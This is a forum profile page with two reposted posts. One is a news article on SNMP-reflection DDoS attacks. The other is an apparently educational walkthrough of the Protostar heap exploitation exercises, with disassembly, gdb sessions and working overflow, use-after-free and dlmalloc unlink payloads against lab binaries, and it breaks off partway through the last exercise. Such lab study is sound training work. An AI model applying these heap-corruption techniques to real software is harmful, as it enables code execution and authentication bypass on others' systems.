Jump to content

Nytro

Administrators
  • Posts

    18748
  • Joined

  • Last visited

  • Days Won

    719

Everything posted by Nytro

  1. [h=1]DDoS attacks using SNMP amplification on the rise[/h] [h=2]After using open DNS and NTP servers for DDoS amplification, attackers are also abusing the SNMP protocol[/h] By Lucian Constantin, IDG News Service May 23, 2014 02:21 PM ET IDG News Service - Attackers are increasingly abusing devices configured to publicly respond to SNMP (Simple Network Management Protocol) requests over the Internet to amplify distributed denial-of-service attacks. This amplification technique, which is also known as reflection, can theoretically work with any protocol that is vulnerable to IP (Internet Protocol) address spoofing and can generate large responses to significantly smaller queries. Attackers can craft requests that appear to originate from the IP address of their intended victim in order to trick servers that accept requests over such protocols from the Internet to flood the victim with data. Many DDoS attacks in the past year have used misconfigured DNS (Domain Name System) and NTP (Network Time Protocol) servers for amplification. However, devices that support SNMP, a protocol designed to allow the monitoring of network-attached devices by querying information about their configuration, can also be abused if the SNMP service is directly exposed to the Internet. SNMP-enabled devices with such configurations can be found both in home and business environments and include printers, switches, firewalls and routers. Since April 11, the Prolexic Security Engineering Response Team (PLXsert), which is now part of Akamai Technologies, has identified 14 separate DDoS campaigns that used SNMP reflection. Almost half of the malicious SNMP reflected traffic came from IP addresses in the U.S. and 18 percent from China, PLXsert said in a threat advisory published Thursday. "The attacks targeted clients in the following industry verticals: consumer goods, gaming, hosting, non-profits and software-as-a-service (SaaS)." One of the tools used to launch the recent attacks was created in 2011 by a hacker group called Team Poison and can send spoofed SNMP GetBulk requests to publicly accessible SNMP-enabled devices to trigger responses that can be more than 1,700 times larger than the requests, the Prolexic team said. The attackers crafted their requests to have a source port of 80 -- usually assigned to HTTP -- so that vulnerable devices return their SNMP responses to the victims on the same port, flooding their HTTP services. "Until approximately three years ago, SNMP devices were manufactured using SNMP version 2 and were commonly delivered with the SNMP protocol openly accessible to the public by default," PLXsert said. "Devices using SNMP v3 are more secure. To stop these older devices from participating in attacks, network administrators need to check for the presence of this protocol and turn off public access." Information over SNMP is controlled by a so-called community string, which in the case of SNMP v2c is "public" by default, PLXsert said. SNMP amplification attacks are not really new, said Sean Power, security operations manager at DDoS protection vendor DOSarrest Internet Security, Friday via email. "Legitimate SNMP traffic has no need to leave your network and should be prevented from doing so. This attack exists because many organizations fail to prevent this." Sursa: DDoS attacks using SNMP amplification on the rise - Network World
  2. exploit exercises - protostar - heap levels Exploit Exercises - Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the heap exploitation portion of the wargame. Spoiler Alert: I would highly recommend you go over the exercises yourself and come back to this article to find possibly different solutions or in case you get stuck. Table of Contents Heap 0 Heap 1 Heap 2 Improper use of malloc() Solution Stale Pointer Solution (aka Use-After-Free) Heap 3 Heap Layout Heap Binning Heap Unlinking Heap Unlinking Exploitation Virtual Previous Chunk Selecting forward and backward links Virtual Next Chunk(s) Finalizing the exploit External Links and References Special Note Heap 0 The first exercise illustrates a simple heap overflow with a challenge to overwrite a function pointer stored on the heap: 0x0804849c <main+16>: call 0x8048388 <malloc@plt> ; d = malloc(64) 0x080484a1 <main+21>: mov DWORD PTR [esp+0x18],eax ; store pointer 0x080484a5 <main+25>: mov DWORD PTR [esp],0x4 0x080484ac <main+32>: call 0x8048388 <malloc@plt> ; f = malloc(4) 0x080484b1 <main+37>: mov DWORD PTR [esp+0x1c],eax ; store pointer 0x080484b5 <main+41>: mov edx,0x8048478 0x080484ba <main+46>: mov eax,DWORD PTR [esp+0x1c] 0x080484be <main+50>: mov DWORD PTR [eax],edx ; f->fp = nowinner() : : 0x080484e7 <main+91>: mov eax,DWORD PTR [esp+0x18] 0x080484eb <main+95>: mov DWORD PTR [esp+0x4],edx 0x080484ef <main+99>: mov DWORD PTR [esp],eax 0x080484f2 <main+102>: call 0x8048368 <strcpy@plt> ; overflow d 0x080484f7 <main+107>: mov eax,DWORD PTR [esp+0x1c] 0x080484fb <main+111>: mov eax,DWORD PTR [eax] 0x080484fd <main+113>: call eax ; nowinner() The goal is to execute the function winner() once the call eax instruction is executed: (gdb) p winner $1 = {void (void)} 0x8048464 <winner> The application was nice enough to print addresses returned by the two malloc() calls, saving us the effort of tracking those addresses in the debugger: $ ./heap0 AAAA data is at 0x804a008, fp is at 0x804a050 level has not been passed The first exploit payload can be completed by calculating the offset to the next heap chunk and inserting the address of the winner() function: $ ./heap0 `python -c 'print "A"*72+"\x64\x84\x04\x08"'` data is at 0x804a008, fp is at 0x804a050 level passed Heap 1 The next exercise challenges the player to take advantage of several allocated structures to redirect the execution flow. The exercise creates several nested allocations as follows: 0x080484c2 <main+9>: mov DWORD PTR [esp],0x8 ; i1 = malloc(8) 0x080484c9 <main+16>: call 0x80483bc <malloc@plt> 0x080484ce <main+21>: mov DWORD PTR [esp+0x14],eax 0x080484d2 <main+25>: mov eax,DWORD PTR [esp+0x14] 0x080484d6 <main+29>: mov DWORD PTR [eax],0x1 ; priority = 1 0x080484dc <main+35>: mov DWORD PTR [esp],0x8 0x080484e3 <main+42>: call 0x80483bc <malloc@plt> ; name = malloc(8) 0x080484e8 <main+47>: mov edx,eax 0x080484ea <main+49>: mov eax,DWORD PTR [esp+0x14] 0x080484ee <main+53>: mov DWORD PTR [eax+0x4],edx ; i1->name ;------------------------------------------------------------------------------ 0x080484f1 <main+56>: mov DWORD PTR [esp],0x8 0x080484f8 <main+63>: call 0x80483bc <malloc@plt> ; i2 = malloc(8) 0x080484fd <main+68>: mov DWORD PTR [esp+0x18],eax 0x08048501 <main+72>: mov eax,DWORD PTR [esp+0x18] 0x08048505 <main+76>: mov DWORD PTR [eax],0x2 ; priority = 2 0x0804850b <main+82>: mov DWORD PTR [esp],0x8 0x08048512 <main+89>: call 0x80483bc <malloc@plt> ; name = malloc(8) 0x08048517 <main+94>: mov edx,eax 0x08048519 <main+96>: mov eax,DWORD PTR [esp+0x18] 0x0804851d <main+100>: mov DWORD PTR [eax+0x4],edx ; i2->name Two strcpy() calls are made in order to populate these structures with user input: 0x08048520 <main+103>: mov eax,DWORD PTR [ebp+0xc] 0x08048523 <main+106>: add eax,0x4 0x08048526 <main+109>: mov eax,DWORD PTR [eax] 0x08048528 <main+111>: mov edx,eax 0x0804852a <main+113>: mov eax,DWORD PTR [esp+0x14] 0x0804852e <main+117>: mov eax,DWORD PTR [eax+0x4] ; i1->name 0x08048531 <main+120>: mov DWORD PTR [esp+0x4],edx 0x08048535 <main+124>: mov DWORD PTR [esp],eax 0x08048538 <main+127>: call 0x804838c <strcpy@plt> ; strcpy() ;------------------------------------------------------------------------------ 0x0804853d <main+132>: mov eax,DWORD PTR [ebp+0xc] 0x08048540 <main+135>: add eax,0x8 0x08048543 <main+138>: mov eax,DWORD PTR [eax] 0x08048545 <main+140>: mov edx,eax 0x08048547 <main+142>: mov eax,DWORD PTR [esp+0x18] 0x0804854b <main+146>: mov eax,DWORD PTR [eax+0x4] 0x0804854e <main+149>: mov DWORD PTR [esp+0x4],edx ; i2->name 0x08048552 <main+153>: mov DWORD PTR [esp],eax 0x08048555 <main+156>: call 0x804838c <strcpy@plt> ; strcpy The last piece of code executed is a simple call to puts(): 0x0804855a <main+161>: mov DWORD PTR [esp],0x804864b 0x08048561 <main+168>: call 0x80483cc <puts@plt> ; puts() Let's observe where everything got allocated after user data was already copied: (gdb) break *main+161 Breakpoint 1 at 0x804855a: file heap1/heap1.c, line 34. (gdb) r AAAAAAAA BBBBBBBB Starting program: /opt/protostar/bin/heap1 AAAAAAAA BBBBBBBB Breakpoint 1, main (argc=3, argv=0xbffff834) at heap1/heap1.c:34 (gdb) x/x $esp+0x14 ; i1 0xbffff774: 0x0804a008 (gdb) x/2x 0x0804a008 0x804a008: 0x00000001 0x0804a018 (gdb) x/s 0x0804a018 ; i1->name 0x804a018: "AAAAAAAA" (gdb) x/x $esp+0x18 ; i2 0xbffff778: 0x0804a028 (gdb) x/2x 0x0804a028 0x804a028: 0x00000002 0x0804a038 (gdb) x/s 0x0804a038 ; i2->name 0x804a038: "BBBBBBBB" An exploit can take advantage of the two writes. The first write can be used to overflow the i1->name member and continue writing until we reach the i2->name in order to populate the pointer with an arbitrary address (e.g. GOT entry for puts()). The second write can be used to fill in the address of the function winner() to complete the challenge. Let's do a bit of recon on memory addresses to overwrite: (gdb) x/i 0x80483cc ; puts() 0x80483cc <puts@plt>: jmp DWORD PTR ds:0x8049774 (gdb) x/x 0x8049774 0x8049774 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483d2 Finally, the address of winner() can be simply queried in the debugger: (gdb) print winner $1 = {void (void)} 0x8048494 <winner> We can complete the exploit using the above two memory addesses as follows: $ ./heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"+" "+"\x94\x84\x04\x08"'` and we have a winner @ 1397266680 Heap 2 Stepping away from code execution, Heap2 exercises requires a bypass of a simple authentication system by corrupting a data structure stored on the heap. Below is the assembly snippet where the flag in the authentication data structure is checked to confirm whether or not the user is logged in using the "login" command: 0x08048a86 <main+338>: mov eax,ds:0x804b5f4 ; struct auth *auth 0x08048a8b <main+343>: mov eax,DWORD PTR [eax+0x20] ; auth->auth 0x08048a8e <main+346>: test eax,eax 0x08048a90 <main+348>: je 0x8048aa3 <main+367> ; if(auth->auth) { 0x08048a92 <main+350>: mov DWORD PTR [esp],0x804ada7 ; "you have logged in already!" 0x08048a99 <main+357>: call 0x804883c <puts@plt> ; } 0x08048a9e <main+362>: jmp 0x8048943 <main+15> ; else { 0x08048aa3 <main+367>: mov DWORD PTR [esp],0x804adc3 ; "please enter your password" 0x08048aaa <main+374>: call 0x804883c <puts@plt> ; } In order for the above check to pass, the auth->auth parameter must be set to a non-zero value. Let's see how the auth struct is initialized using the "auth" command: 0x080489a7 <main+115>: mov DWORD PTR [esp],0x4 0x080489ae <main+122>: call 0x804916a <malloc> ; malloc heap chunk for auth 0x080489b3 <main+127>: mov ds:0x804b5f4,eax 0x080489b8 <main+132>: mov eax,ds:0x804b5f4 0x080489bd <main+137>: mov DWORD PTR [esp+0x8],0x4 0x080489c5 <main+145>: mov DWORD PTR [esp+0x4],0x0 0x080489cd <main+153>: mov DWORD PTR [esp],eax 0x080489d0 <main+156>: call 0x80487bc <memset@plt> ; memset auth struct to zero 0x080489d5 <main+161>: lea eax,[esp+0x10] ; get 'auth' command line 0x080489d9 <main+165>: add eax,0x5 ; offset after "auth " 0x080489dc <main+168>: mov DWORD PTR [esp],eax 0x080489df <main+171>: call 0x80487fc <strlen@plt> ; get string length 0x080489e4 <main+176>: cmp eax,0x1e ; make sure it's <= 30 bytes 0x080489e7 <main+179>: ja 0x8048a01 <main+205> 0x080489e9 <main+181>: lea eax,[esp+0x10] 0x080489ed <main+185>: lea edx,[eax+0x5] 0x080489f0 <main+188>: mov eax,ds:0x804b5f4 0x080489f5 <main+193>: mov DWORD PTR [esp+0x4],edx 0x080489f9 <main+197>: mov DWORD PTR [esp],eax 0x080489fc <main+200>: call 0x804880c <strcpy@plt> ; copy to auth->name There are several interesting points in the snippet above: malloc() is called with a parameter of 4 bytes which is the size of the *auth pointer and not the size of the struct auth. As a result only enough room for the auth->name will be allocated. The copied string input is explicitly checked to fit in the allocated 4 bytes, so a simple overflow to auth->auth would not work here. Let's explore another accepted command, "service: 0x08048a4e <main+282>: lea eax,[esp+0x10] 0x08048a52 <main+286>: add eax,0x7 0x08048a55 <main+289>: mov DWORD PTR [esp],eax 0x08048a58 <main+292>: call 0x804886c <strdup@plt> ; duplicate string to heap 0x08048a5d <main+297>: mov ds:0x804b5f8,eax ; store address in *service The last piece of functionality in the challenge is the "reset" command which simply calls free() on the auth struct: 0x08048a21 <main+237>: mov eax,ds:0x804b5f4 ; *auth 0x08048a26 <main+242>: mov DWORD PTR [esp],eax 0x08048a29 <main+245>: call 0x804999c <free> ; free() Improper use of malloc() Solution At this point we can analyze how heap memory is allocated in order to write the exploit: $ ./heap2 [ auth = (nil), service = (nil) ] auth AAAA [ auth = 0x804c008, service = (nil) ] service BBBB [ auth = 0x804c008, service = 0x804c018 ] login please enter your password [ auth = 0x804c008, service = 0x804c018 ] Notice that due to the way malloc is called, the next chunk is allocated at 0x804c018. Recall that the application retrieves the pointer to auth->auth at the offset 0x20 relative to the address of auth, in this case the address of auth->auth is 0x804c008 + 0x20 = 0x804c028. As a result of the overlap, if we copy a sufficiently large string (16 bytes or more) using the service command, then the authentication check will pass: $ ./heap2 [ auth = (nil), service = (nil) ] auth AAAA [ auth = 0x804c008, service = (nil) ] service BBBBBBBBBBBBBBBB [ auth = 0x804c008, service = 0x804c018 ] login you have logged in already! [ auth = 0x804c008, service = 0x804c018 ] Stale Pointer Solution (aka Use-After-Free) This exercise likely had a simple typo that prevented the expected stale pointer solution. A use-after-free vulnerability where the deallocated auth chunk is used by the application resulting in authentication bypass. The key to exploiting this condition is being able to be able to overwrite the original chunk with our data. Below is an example of the same chunk being allocated after the call to free(): $ ./heap2 [ auth = (nil), service = (nil) ] auth AAAA [ auth = 0x804c008, service = (nil) ] reset [ auth = 0x804c008, service = (nil) ] service BBBB [ auth = 0x804c008, service = 0x804c008 ] Notice that the address of service is the same as auth. As a result you could craft a valid auth struct which would pass the authenticated test. Unfortunately, because of the typo strdup() would not be able to reuse the original auth chunk. In the interests of learning I have patched the original binary to allocate the correct 0x24 byte chunk instead as follows: 0x080489a7 <main+115>: mov DWORD PTR [esp],0x24 <--- sizeof(struct auth) 0x080489ae <main+122>: call 0x804916a <malloc> 0x080489b3 <main+127>: mov ds:0x804b5f4,eax 0x080489b8 <main+132>: mov eax,ds:0x804b5f4 0x080489bd <main+137>: mov DWORD PTR [esp+0x8],0x24 <--- sizeof(struct auth) 0x080489c5 <main+145>: mov DWORD PTR [esp+0x4],0x0 0x080489cd <main+153>: mov DWORD PTR [esp],eax 0x080489d0 <main+156>: call 0x80487bc <memset@plt> We can now exploit this vulnerability the way it was intended: $ ./heap2 [ auth = (nil), service = (nil) ] auth AAAA [ auth = 0x804c008, service = (nil) ] reset [ auth = 0x804c008, service = (nil) ] service AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [ auth = 0x804c008, service = 0x804c008 ] login you have logged in already! [ auth = 0x804c008, service = 0x804c008 ] Heap 3 The last exercise in the heap series introduces the exploitation of the classic Doug Lea Malloc. For the sake of learning, this walkthrough will go in-depth on every aspect of the exploitation process, so feel free to skip ahead if it gets too dense. Heap Layout The key to writing an exploit for this exercise is visualizing the layout of chunks in memory and how they can be corrupted. For example, here is how an allocated chunk looks like: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if allocated | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ The exercise allocates three 32 byte chunks as follows: 0x08048892 <main+9>: mov DWORD PTR [esp],0x20 0x08048899 <main+16>: call 0x8048ff2 <malloc> ; a = malloc(32) 0x0804889e <main+21>: mov DWORD PTR [esp+0x14],eax 0x080488a2 <main+25>: mov DWORD PTR [esp],0x20 0x080488a9 <main+32>: call 0x8048ff2 <malloc> ; b = malloc(32) 0x080488ae <main+37>: mov DWORD PTR [esp+0x18],eax 0x080488b2 <main+41>: mov DWORD PTR [esp],0x20 0x080488b9 <main+48>: call 0x8048ff2 <malloc> ; c = malloc(32) 0x080488be <main+53>: mov DWORD PTR [esp+0x1c],eax 0x080488c2 <main+57>: mov eax,DWORD PTR [ebp+0xc] Breaking the application immediately after all three malloc() calls, we can observe the heap memory layout: (gdb) break *main+60 (gdb) r AAAA BBBB CCCC Starting program: /opt/protostar/bin/heap3 AAAA BBBB CCCC Breakpoint 1, 0x080488c5 in main (argc=4, argv=0xbffff844) at heap3/heap3.c:20 (gdb) x/3x $esp+0x14 0xbffff784: 0x0804c008 0x0804c030 0x0804c058 +----- size of chunk (gdb) x/12x 0x0804c008 - 8 | 0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 | size of next chunk ----+ (gdb) x/12x 0x0804c030 - 8 0x804c028: 0x00000000 0x00000029 0x00000000 0x00000000 0x804c038: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c048: 0x00000000 0x00000000 0x00000000 0x00000029 (gdb) x/12x 0x0804c058 - 8 0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 Notice that the chunk size 0x29 includes IS_MMAPPED and PREV_INUSE flags as its two least significant bits, so the true size is 0x29 & 0xfc = 0x28 or 40 bytes. This value corresponds to the originally requested 32 bytes + 8 bytes for the header. After the three strcpy() operations, all of the application's memory chunks get populated with their respective command line parameter: (gdb) break *main+136 Breakpoint 2 at 0x8048911: file heap3/heap3.c, line 24. (gdb) c Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff844) at heap3/heap3.c:24 (gdb) x/12x 0x0804c008 - 8 0x804c000: 0x00000000 0x00000029 0x41414141 0x00000000 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 (gdb) x/12x 0x0804c030 - 8 0x804c028: 0x00000000 0x00000029 0x42424242 0x00000000 0x804c038: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c048: 0x00000000 0x00000000 0x00000000 0x00000029 (gdb) x/12x 0x0804c058 - 8 0x804c050: 0x00000000 0x00000029 0x43434343 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 At last the program concludes with three consecutive free() calls which deallocate chunks in reverse order: 0x0804890a <main+129>: mov eax,DWORD PTR [esp+0x1c] 0x0804890e <main+133>: mov DWORD PTR [esp],eax 0x08048911 <main+136>: call 0x8049824 <free> ; free(c) 0x08048916 <main+141>: mov eax,DWORD PTR [esp+0x18] 0x0804891a <main+145>: mov DWORD PTR [esp],eax 0x0804891d <main+148>: call 0x8049824 <free> ; free( 0x08048922 <main+153>: mov eax,DWORD PTR [esp+0x14] 0x08048926 <main+157>: mov DWORD PTR [esp],eax 0x08048929 <main+160>: call 0x8049824 <free> ; free(a) At this point, it is clear that it is easy to overflow all three chunks; however, the exact mechanism to gain code execution will require some work. Heap Binning First let's observe what happens to memory after the three free() calls execute. (gdb) break *main+165 Breakpoint 3 at 0x804892e: file heap3/heap3.c, line 28. (gdb) c Breakpoint 3, main (argc=4, argv=0xbffff844) at heap3/heap3.c:28 chunk size ----+ +---- forward pointer | | (gdb) x/12x 0x0804c008 - 8 | | 0x804c000: 0x00000000 0x00000029 0x0804c028 0x00000000 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 (gdb) x/12x 0x0804c030 - 8 0x804c028: 0x00000000 0x00000029 0x0804c050 0x00000000 0x804c038: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c048: 0x00000000 0x00000000 0x00000000 0x00000029 (gdb) x/12x 0x0804c058 - 8 0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 It looks like a single linked data structure with forward pointers containing addresses of the next free chunk. Let's look at the disassembly of the free() function to understand what it is doing: 0x804982a <free+6>: mov DWORD PTR [ebp-0x38],0x804b160 ; bin 0x8049831 <free+13>: cmp DWORD PTR [ebp+0x8],0x0 ; make sure mem != 0 0x8049835 <free+17>: je 0x8049a89 <free+613> ;------------------------------------------------------------------------------ 0x804983b <free+23>: mov eax,DWORD PTR [ebp+0x8] ; mem to free 0x804983e <free+26>: sub eax,0x8 ; chunk = mem - 8; 0x8049841 <free+29>: mov DWORD PTR [ebp-0x34],eax ; store chunk 0x8049844 <free+32>: mov eax,DWORD PTR [ebp-0x34] 0x8049847 <free+35>: mov eax,DWORD PTR [eax+0x4] ; chunk_size_flags 0x804984a <free+38>: and eax,0xfffffffc ; zero last two flag bits 0x804984d <free+41>: mov DWORD PTR [ebp-0x30],eax ; chunk_size 0x8049850 <free+44>: mov eax,DWORD PTR [ebp-0x38] ; bin 0x8049853 <free+47>: mov eax,DWORD PTR [eax] ; max bin chunk size (0x49) 0x8049855 <free+49>: cmp eax,DWORD PTR [ebp-0x30] ; compare to chunk_size 0x8049858 <free+52>: jb 0x8049899 <free+117> ; unsigned comparison ;------------------------------------------------------------------------------ 0x804985a <free+54>: mov eax,DWORD PTR [ebp-0x38] ; bin 0x804985d <free+57>: mov eax,DWORD PTR [eax] ; bin size threshold 0x804985f <free+59>: mov edx,eax 0x8049861 <free+61>: and edx,0xfffffffe ; zero out the last bit 0x8049864 <free+64>: mov eax,DWORD PTR [ebp-0x38] 0x8049867 <free+67>: mov DWORD PTR [eax],edx ; update bin size 0x8049869 <free+69>: mov eax,DWORD PTR [ebp-0x38] ;------------------------------------------------------------------------------ 0x804986c <free+72>: lea edx,[eax+0x4] ; bin base (0x804b164) 0x804986f <free+75>: mov eax,DWORD PTR [ebp-0x30] ; chunk_size 0x8049872 <free+78>: shr eax,0x3 ; calculate bin offset 0x8049875 <free+81>: sub eax,0x2 ; based on chunk size. 0x8049878 <free+84>: shl eax,0x2 ; (( 0x28/8 )- 2 )* 4 = 0xc 0x804987b <free+87>: lea eax,[edx+eax*1] ; bin base + 0xc ;------------------------------------------------------------------------------ 0x804987e <free+90>: mov DWORD PTR [ebp-0x2c],eax ; bin base for size 0x40 0x8049881 <free+93>: mov eax,DWORD PTR [ebp-0x2c] 0x8049884 <free+96>: mov edx,DWORD PTR [eax] ; bin head 0x8049886 <free+98>: mov eax,DWORD PTR [ebp-0x34] ; chunk 0x8049889 <free+101>: mov DWORD PTR [eax+0x8],edx ; set chunk->fd to bin head 0x804988c <free+104>: mov eax,DWORD PTR [ebp-0x2c] ; 0x804988f <free+107>: mov edx,DWORD PTR [ebp-0x34] 0x8049892 <free+110>: mov DWORD PTR [eax],edx ; bin head = chunk 0x8049894 <free+112>: jmp 0x8049a89 <free+613> : 0x8049a89 <free+613>: leave Studying the above disassembly, you can see that freed chunks smaller than 64 bytes are placed into a single-linked list. The list itself is placed at a calculated location in a bin data structure. All this extra infrastructure offers increased performance and reduced fragmentation when dealing with small (<64 bytes) chunks. Imagine if you need to allocate another 32 byte chunk. The allocator would quickly check the appropriate bin that has a linked list of free 32 byte chunks and provide you with the address to use. After the completion of all three frees, the 40 byte chunk bin will contain the address of the original Chunk A: (gdb) x/x 0x804b170 0x804b170 <av_+16>: 0x0804c000 Now as educational as it was to study how malloc bins work the actual exploitation would require at least one more allocation. With a hypothetical allocation, we could provide an overflown forward pointer which may allow us to corrupt memory once the allocator attempts to relink the chain. Unfortunately, this scenario is not applicable in this case so we must seek an alternative path. Heap Unlinking Looking at the code path that malloc took in the previous section, we can see that a huge chunk of code was skipped because the chunk size was < 64 bytes: 0x8049853 <free+47>: mov eax,DWORD PTR [eax] ; max bin chunk size (0x49) 0x8049855 <free+49>: cmp eax,DWORD PTR [ebp-0x30] ; compare to chunk_size 0x8049858 <free+52>: jb 0x8049899 <free+117> ; unsigned comparison Let's reverse engineer the code flow in case the jump did take place (for chunks larger than 64 bytes): 0x8049899 <free+117>: mov eax,DWORD PTR [ebp-0x34] ; chunk 0x804989c <free+120>: mov eax,DWORD PTR [eax+0x4] ; chunk_size_flags 0x804989f <free+123>: and eax,0x2 ; IS_MMAPPED 0x80498a2 <free+126>: test eax,eax ; check flag 0x80498a4 <free+128>: jne 0x8049a2c <free+520> ; jump if the flag is set ;------------------------------------------------------------------------------ 0x80498aa <free+134>: mov eax,DWORD PTR [ebp-0x30] ; chunk_size 0x80498ad <free+137>: mov edx,DWORD PTR [ebp-0x34] ; chunk 0x80498b0 <free+140>: lea eax,[edx+eax*1] ; next_chunk 0x80498b3 <free+143>: mov DWORD PTR [ebp-0x28],eax ; store next_chunk 0x80498b6 <free+146>: mov eax,DWORD PTR [ebp-0x28] 0x80498b9 <free+149>: mov eax,DWORD PTR [eax+0x4] ; next_chunk_size_flags 0x80498bc <free+152>: and eax,0xfffffffc ; zero last two flag bits 0x80498bf <free+155>: mov DWORD PTR [ebp-0x24],eax ; next_chunk_size ;------------------------------------------------------------------------------ 0x80498c2 <free+158>: mov eax,DWORD PTR [ebp-0x34] ; chunk 0x80498c5 <free+161>: mov eax,DWORD PTR [eax+0x4] ; chunk_size 0x80498c8 <free+164>: and eax,0x1 ; PREV_INUSE flag 0x80498cb <free+167>: test eax,eax ; check the flag 0x80498cd <free+169>: jne 0x8049909 <free+229> ; jump if the flag is set Pretty boring so far. A check is done to see whether the two least significant bits are set in the chunk size and jump way down if that's the case. As previously mentioned, the two bits correspond to IS_MMAPPED and PREV_INUSE flags. Recall that the size field of our three chunks was set to 0x29 meaning that the least significant bits were indeed set (PREV_INUSE). So even if we somehow made a chunk appear larger than 64 bytes, we would still have jump to <free+229>. Imagine that there is a way to bypass both of these jumps and continue executing as if neither of the two flags were set: 0x80498cf <free+171>: mov eax,DWORD PTR [ebp-0x34] ; chunk 0x80498d2 <free+174>: mov eax,DWORD PTR [eax] ; prev_chunk_size 0x80498d4 <free+176>: mov DWORD PTR [ebp-0x1c],eax 0x80498d7 <free+179>: mov eax,DWORD PTR [ebp-0x1c] 0x80498da <free+182>: add DWORD PTR [ebp-0x30],eax ; chunk_size 0x80498dd <free+185>: mov eax,DWORD PTR [ebp-0x1c] 0x80498e0 <free+188>: neg eax ; -prev_chunk_size 0x80498e2 <free+190>: add DWORD PTR [ebp-0x34],eax ; prev_chunk = ; chunk+(-prev_chunk_size) 0x80498e5 <free+193>: mov eax,DWORD PTR [ebp-0x34] ; store prev_chunk 0x80498e8 <free+196>: mov eax,DWORD PTR [eax+0x8] ; prev_chunk->fd 0x80498eb <free+199>: mov DWORD PTR [ebp-0x14],eax 0x80498ee <free+202>: mov eax,DWORD PTR [ebp-0x34] 0x80498f1 <free+205>: mov eax,DWORD PTR [eax+0xc] ; prev_chunk->bk 0x80498f4 <free+208>: mov DWORD PTR [ebp-0x18],eax 0x80498f7 <free+211>: mov eax,DWORD PTR [ebp-0x14] ; FD 0x80498fa <free+214>: mov edx,DWORD PTR [ebp-0x18] ; BK 0x80498fd <free+217>: mov DWORD PTR [eax+0xc],edx ; FD->bk = BK 0x8049900 <free+220>: mov eax,DWORD PTR [ebp-0x18] ; BK 0x8049903 <free+223>: mov edx,DWORD PTR [ebp-0x14] ; FD 0x8049906 <free+226>: mov DWORD PTR [eax+0x8],edx ; BK->fk = FD Now it's getting exciting, allow me to explain why =). Toward the bottom of the disassembly there are two memory writes that perform chunk unlinking as part of backward chunk consolidation. Both of the memory writes use source and destination addresses stored in the chunk headers, specifically chunk forward and backward pointers. Recall that we can overflow chunks at will with the three gets() calls and as a result we may be able to control the addresses used above to make an arbitrary write. Heap Unlinking Exploitation In order to reach the "interesting" code block at <free+211> we must be able to create a chunk with the size satisfying the following parameters: Must be greater than 64 (unsigned comparison) Last two bits must be set to 0 The following payload can overwrite the adjacent chunk's size parameter to satisfy these requirements: (gdb) r AAAA `python -c 'print "B"*32 + "CCCC" + "\xf0"'` CCCC It is useful to visualize heap chunks in memory: /------ Chunk A -------\ /------ Chunk B -------\ /------ Chunk C -------\ +----+----+--------------+----+----+--------------+----+----+--------------+ | | | AAAA | | | BBBB... BBBB|CCCC|\xf0| CCCC | +----+----+--------------+----+----+--------------+----+----+--------------+ | | previous chunk size --+ +-- chunk size Chunk B was overflown into Chunk C to replace previous size value with 0x43434343 and the actual chunk size with \xf0. The value \xf0 can be replaced with any other value subject to the aforementioned conditions. Once free© is called, the jump at <free+52> would no longer take place and we would start executing the "interesting" branch. Virtual Previous Chunk Next we need to direct the code to use the fake forward and backward pointers from the user controlled memory area. Thus we need to create a virtual chunk that replicates the following free chunk structure: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Recall from the disassembly above that the forward and backward pointers are taken from a previous chunk. The location of the previous chunk is calculated by subtracting the size 